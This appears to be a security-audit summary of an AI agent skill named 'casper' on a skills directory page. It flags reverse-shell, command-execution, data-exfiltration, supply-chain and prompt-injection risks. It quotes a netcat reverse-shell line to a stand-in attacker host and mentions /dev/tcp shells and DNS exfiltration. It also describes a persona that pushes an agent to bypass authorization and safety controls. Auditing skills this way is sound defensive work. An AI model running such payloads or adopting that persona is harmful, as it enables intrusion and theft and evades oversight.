The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides explicit instructions and functional payloads for establishing reverse shells. Evidence found in 'casper-injection.md' and 'casper-pt-python.md' includes payloads such as '| nc -e /bin/sh attacker.com 4444' and bash redirects via '/dev/tcp' to establish remote access.
[COMMAND_EXECUTION]: The framework facilitates autonomous command execution across multiple environments. Scripts in 'casper-pt-python.md' utilize Python's 'eval()', 'exec()', and 'os.system()' to dynamically execute arbitrary code and system-level commands.
[DATA_EXFILTRATION]: The skill defines methodologies for extracting and exfiltrating sensitive data to external servers. Payload examples in 'casper-pt.md' and 'casper-injection.md' demonstrate exfiltrating system files (e.g., '/etc/passwd') and database contents via HTTP POST requests and DNS tunneling using 'nslookup'.
[EXTERNAL_DOWNLOADS]: Components in 'casper-pt-powershell.md' initiate the installation of over 30 external PowerShell modules from the PowerShell Gallery, such as 'PSJwt', 'PSGraphQL', and 'SecretManagement.Keeper', which introduces a large surface for supply chain attacks.
[PROMPT_INJECTION]: The skill mandates a 'highly autonomous, expert-level penetration tester' persona, which directs the agent to bypass standard authorization controls and security filters on target systems, potentially overriding safety protocols.

casper